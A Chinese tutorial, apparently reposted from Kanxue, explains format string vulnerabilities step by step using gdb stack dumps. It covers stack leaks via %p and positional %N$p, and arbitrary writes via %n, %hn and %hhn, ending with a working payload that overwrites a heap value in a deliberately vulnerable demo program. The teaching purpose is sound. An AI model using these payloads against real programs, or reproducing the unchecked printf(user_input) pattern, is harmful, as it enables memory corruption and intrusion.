一步一步看格式化字符串漏洞
一
初探printf
格式化字符串漏洞实际上是printf函数的使用不当产生的。首先来看一个正常的printf函数：
int price = 9;
char clothes[] = "shirt";
printf("The price of the %s is %d.n", clothes, price);
可以看到其printf函数由两部分组成，其一是要输出的字符串，而后面是字符串中要解析的参数，在上述例子中为clothes和price。
那么printf函数是如何对其进行解析的？我们使用gdb来跟进看看。将上述代码补全，使用gcc format.c -g -m32 -o format编译为32位程序，将断点下到call printf处，如下所示：
► 0x56556240 <main+83> call printf@plt <printf@plt>
format: 0x56557008 ◂— 'The price of the %s is %d.n'
vararg: 0xffffd046 ◂— 'shirt'
此时，我们使用命令stack 0x10，查看栈如下：
pwndbg> stack 0x10
00:0000│ esp 0xffffd030 —▸ 0x56557008 ◂— 'The price of the %s is %d.n'
01:0004│ 0xffffd034 —▸ 0xffffd046 ◂— 'shirt'
02:0008│ 0xffffd038 ◂— 9 /* 't' */
03:000c│ 0xffffd03c —▸ 0x56556208 (main+27) ◂— add eax, 0x2dcc
04:0010│ 0xffffd040 ◂— 9 /* 't' */
05:0014│ 0xffffd044 ◂— 0x6873d104
06:0018│ 0xffffd048 ◂— 0x747269 /* 'irt' */
07:001c│ 0xffffd04c ◂— 0xa3ffc00
08:0020│ 0xffffd050 —▸ 0xffffd070 ◂— 0x1
09:0024│ 0xffffd054 ◂— 0x0
0a:0028│ ebp 0xffffd058 ◂— 0x0
0b:002c│ 0xffffd05c —▸ 0xf7de4ee5 (__libc_start_main+245) ◂— add esp, 0x10
0c:0030│ 0xffffd060 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0d:0034│ 0xffffd064 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│ 0xffffd068 ◂— 0x0
0f:003c│ 0xffffd06c —▸ 0xf7de4ee5 (__libc_start_main+245) ◂— add esp, 0x10
pwndbg>
我们知道32位程序中，函数的参数是存储在栈上的。从栈上可以看到，printf函数的第0个参数是要输出的字符串本身的地址；第1个参数是shirt字符串的地址，也就是printf要解析的第一个参数；第2个参数是9，也就是printf需要解析的第二个参数。因此我们可以知道，printf函数实际上是以第一个参数为字符串，并按照顺序将传入printf函数的其他的参数以字符串中%开头的形式进行解析。
二
printf函数的栈泄露
上面我们已经明白printf函数的解析过程。若printf函数利用不当，便可以使用其进行栈上数据的泄露，如下所示：
char content[0x20];
read(0, content, 0x20);
printf(content);
上面这段代码中，printf函数只接受一个参数，而且该参数是从标准输入读取的，是可控的。若我们输入%p%p，可以看到如下结果：
ltfall@ubuntu:/pwn/myhow2heap/formatstring$ ./format
%p%p
0xffffd02c0x20
可以看到其输出的结果为0xffffd02c0x20，这明显不符合编写代码者的本意。使用gdb跟进，看看这里面发生了什么。
将断点下在call printf：
► 0x56556253 <main+70> call printf@plt <printf@plt>
format: 0xffffd02c ◂— 0x70257025 ('%p%p')
vararg: 0xffffd02c ◂— 0x70257025 ('%p%p')
此时使用命令stack，查看栈如下：
pwndbg> stack
00:0000│ esp 0xffffd010 —▸ 0xffffd02c ◂— 0x70257025 ('%p%p')
01:0004│ 0xffffd014 —▸ 0xffffd02c ◂— 0x70257025 ('%p%p')
02:0008│ 0xffffd018 ◂— 0x20 /* ' ' */
03:000c│ 0xffffd01c —▸ 0x56556228 (main+27) ◂— add ebx, 0x2da8
04:0010│ 0xffffd020 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
05:0014│ 0xffffd024 —▸ 0xf7fe22f0 ◂— endbr32
06:0018│ 0xffffd028 ◂— 0x0
07:001c│ eax ecx 0xffffd02c ◂— 0x70257025 ('%p%p')
pwndbg>
到这里我们便能够还原为什么printf会产生上面的输出了：printf仍然把我们传入的数据当作字符串，并将栈上后面的数据以字符串中%开头的方式进行解析。
这意味着，若我们输入的数据为%p%p时，它将会把栈上后面的数据当作传入函数的参数，并以%p的方式解析。例如，printf将栈上的0xffffd014处内容进行解析，并以十六进制格式输出存放在该栈处的值0xffffd02c，接下来再以同样的方式将0xffffd018处的值以%p的方式进行解析，输出0x20。因此，我们可以以这种方式泄露栈上的数据。
三
printf函数泄露栈上任意位置内容
上面我们给printf函数传入了%p%p，并以此泄露了栈上的两个数据。那很显然，若我要泄露栈上第20个数据，自然不可能传入20个%p。因此，我们可以使用%$[x]p的方式来泄露栈上指定位置的内容。其中，[x]是要泄露的第几个位置。如下所示，我们使用read传入数据%2$p，查看栈如下：
stack
00:0000│ esp 0xffffd010 —▸ 0xffffd02c ◂— 0x70243225 ('%2$p') // 这是第0个参数
01:0004│ 0xffffd014 —▸ 0xffffd02c ◂— 0x70243225 ('%2$p') // 这是第1个参数
02:0008│ 0xffffd018 ◂— 0x20 /* ' ' */ // 这是第2个参数
03:000c│ 0xffffd01c —▸ 0x56556228 (main+27) ◂— add ebx, 0x2da8 // 这是第3个参数
04:0010│ 0xffffd020 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c // 这是第4个参数
05:0014│ 0xffffd024 —▸ 0xf7fe22f0 ◂— endbr32 // 这是第5个参数
06:0018│ 0xffffd028 ◂— 0x0 // 这是第6个参数
07:001c│ eax ecx 0xffffd02c ◂— 0x70243225 ('%2$p') // 这是第7个参数
再单步调试一步，获得输出结果为：
0x20
从上面可以看待，当我们传入printf的数据为%2$p时，我们实际上可以输出传入printf函数的第2个参数，也就是栈上的0x20。以此类推，我们可以以%7$p的形式输出0x70243225。只需要更改%的输出形式，就可以将栈上内容以任意方式输出，例如%5$p可以将栈上第5个位置以十六进制形式输出，以%6$s可以将栈上第6个位置以字符串形式输出。
四
printf函数覆盖任意位置内存
通过上面的内容，我们已经得知如何泄露栈上的任意数据。实际上，printf函数同样可以完成写操作，而且是任意位置写。这是用到了printf函数的%n特性，它可以将已经输出的字符数量写到某个地址上。如下所示：
int count1 = 0, count2 = 0;
int occupied = 0;
printf("1234%n%20c%nn", &count1, occupied, &count2);
printf("The value of counts comes to %d and %d.n", count1, count2);
在上面这段代码中，第一个printf首先会输出1234，然后会遇到第一个%n，而此时输出的字符数量为4，因此count1的值将会被写为4。
然后其会遇到%20c，我们知道这实际上是将occupied输出为长度为20的字符，因此目前相当于总共输出了20+4=24个字符。
然后会遇到最后一个%n，由于目前已经输出了24个字符，因此count2会被赋值为24。
因此，上面这段代码的输出如下：
$ ./format
1234
The value of counts comes to 4 and 24.
那么，对于一个不规范的printf函数，我们可以利用%n来覆盖任意位置的内存，以这段代码为例：
char content[0x20];
memset(content, 0, 0x20);
char* secret = (char*)malloc(0x10);
memset(secret, 0, 0x10);
printf("The address of secret is %p.n", secret);
read(0, content, 0x20);
printf(content);
printf("The value of secret comes to 0x%x.n", (size_t)*(size_t*)secret);
这段代码中，我们可以任意控制printf函数的参数。我们的目标是覆盖secret指向的堆块的值，若我们成功，即可说明我们完成了任意内存覆盖。
同样是下断点到call printf（printf(content)的那个printf）,我们先随便输入一点，比如%p%p，查看栈如下：
pwndbg> stack
00:0000│ esp 0xffffd010 —▸ 0xffffd02c ◂— '%p%pn'
01:0004│ 0xffffd014 —▸ 0xffffd02c ◂— '%p%pn'
02:0008│ 0xffffd018 ◂— 0x20 /* ' ' */
03:000c│ 0xffffd01c —▸ 0x56556268 (main+27) ◂— add ebx, 0x2d60
04:0010│ 0xffffd020 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
05:0014│ 0xffffd024 —▸ 0xf7fe22f0 ◂— endbr32
06:0018│ 0xffffd028 —▸ 0x5655a1a0 ◂— 0x0
07:001c│ eax ecx 0xffffd02c ◂— '%p%pn'
我们观察到，实际上我们输入的%p%p就存在于栈上，例如上面是在0xffffd02c。那么输入%7$p即可查看这个值，如下：
$ ./format
The address of secret is 0x574791a0.
%7$p
0x70243725
The value of secret comes to 0x0.
0x70243725就是%7$p的十六进制形式，因此确实能够索引到这个值。那么，我们当然也可以用%n来向这个位置写值！
我们上面得知，我们输入的数据会放在栈上的第7个位置。因此，若我们输入以下数据：
p32(addr_of_secret) + "%7$n"
将断点下到call printf，查看栈如下:
pwndbg> stack 0x10
00:0000│ esp 0xffe03db0 —▸ 0xffe03dcc —▸ 0x56d3b1a0 ◂— 0x0
01:0004│ 0xffe03db4 —▸ 0xffe03dcc —▸ 0x56d3b1a0 ◂— 0x0
02:0008│ 0xffe03db8 ◂— 0x20 /* ' ' */
03:000c│ 0xffe03dbc —▸ 0x5659d268 (main+27) ◂— add ebx, 0x2d60
04:0010│ 0xffe03dc0 —▸ 0xf7f24000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
05:0014│ 0xffe03dc4 —▸ 0xf7f562f0 ◂— endbr32
06:0018│ 0xffe03dc8 —▸ 0x56d3b1a0 ◂— 0x0
07:001c│ eax ecx 0xffe03dcc —▸ 0x56d3b1a0 ◂— 0x0 // 第7个参数
08:0020│ 0xffe03dd0 ◂— '%7$n' // 第8个参数
09:0024│ 0xffe03dd4 ◂— 0x0
... ↓ 5 skipped
0f:003c│ 0xffe03dec ◂— 0xa407ee00
printf函数会先输出p32(addr_of_secret)，输出长度为4个字符。然后再解析%7$n，会将已经输出的字符数量写入栈上的第七个值处。而栈上第七个位置是p32(addr_of_secret)，因此会将secret指向的堆块的值写为4。
同样的，我们可以控制输出的长度，来使得secret指向的值为任意数值，例如我们发送以下数据：
p32(addr_of_secret) + "%20c%7$n"
在解析到addr_of_secret时，其已经输出了p32(addr_of_secret)四个字符加上%20c的二十个字符，因此会使得secret指向的值为24。
在某些情况，我们希望将整个secret的值覆盖为一个想要的值，我们可以使用如下方式来进行覆盖：
%hn 双字节覆盖
%hhn 单字节覆盖
使用以下方式，我们可以更便利地覆盖内存中的值。例如，一个完整的覆盖secret的值为0x12345678的payload如下：
p32(heap_leak) + p32(heap_leak + 2) + b'%22128c%7$hn' + b'%48060c%8$hn'
通过这个payload可以得到结果：
The value of secret comes to 0x12345678.
让我们来一一解析这个payload：
首先我们在栈上第7个和第8个位置分别布置了堆地址的低两位和高两位地址。
printf函数首先会输出这两个地址，长度为8个字节。
接下来printf函数会输出%22128c，加起来总共输出了22136个字符，对应十六进制数为0x5678。
接下来printf函数会解析到%7$hn，会将已经输出的字符数量以两个字节的形式写入到栈上第七个位置，也就是将0x5678写到堆地址的低两位上。
接下来printf函数会解析到%48060c，会输出48060个字符，和之前22136加起来总共输出了70196个字符，对应十六进制数为0x11234。
接下来printf函数会解析到%8$hn，会将已经输出的字符数量以两个字节的形式写入到栈上第八个位置。而目前已经输出了0x11234个字符，因此取两个字节，会将0x1234写入到堆地址的高两位，从而完成了对堆内存空间的覆盖。
从上面这个过程我们得知，可以利用%$hn和%$hhn写指定数量字节的特性来对任意内存空间进行覆盖。
附: 64位下格式化字符串的变化
64位下最大的差别是：函数的前6个参数位于寄存器上，多余的参数才位于栈上。
而我们知道64位下的前6个参数分别为：rdi、rsi、rdx、rcx、r8、r9上。
rdi会保存字符串本身，因此%$1p将会泄露rsi的值，%$2p会泄露rdx的值。以此类推，栈上的第一个值为%6$p。
若你已经掌握32位下的格式化字符串利用，了解上述参数构造的不同后与32位下并无差别。
参考链接
ctf-（https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/）
看雪ID：Ltfall
https://bbs.kanxue.com/user-home-912912.htm
#
原文始发于微信公众号（看雪学苑）：以栈的视角来认识格式化字符串漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论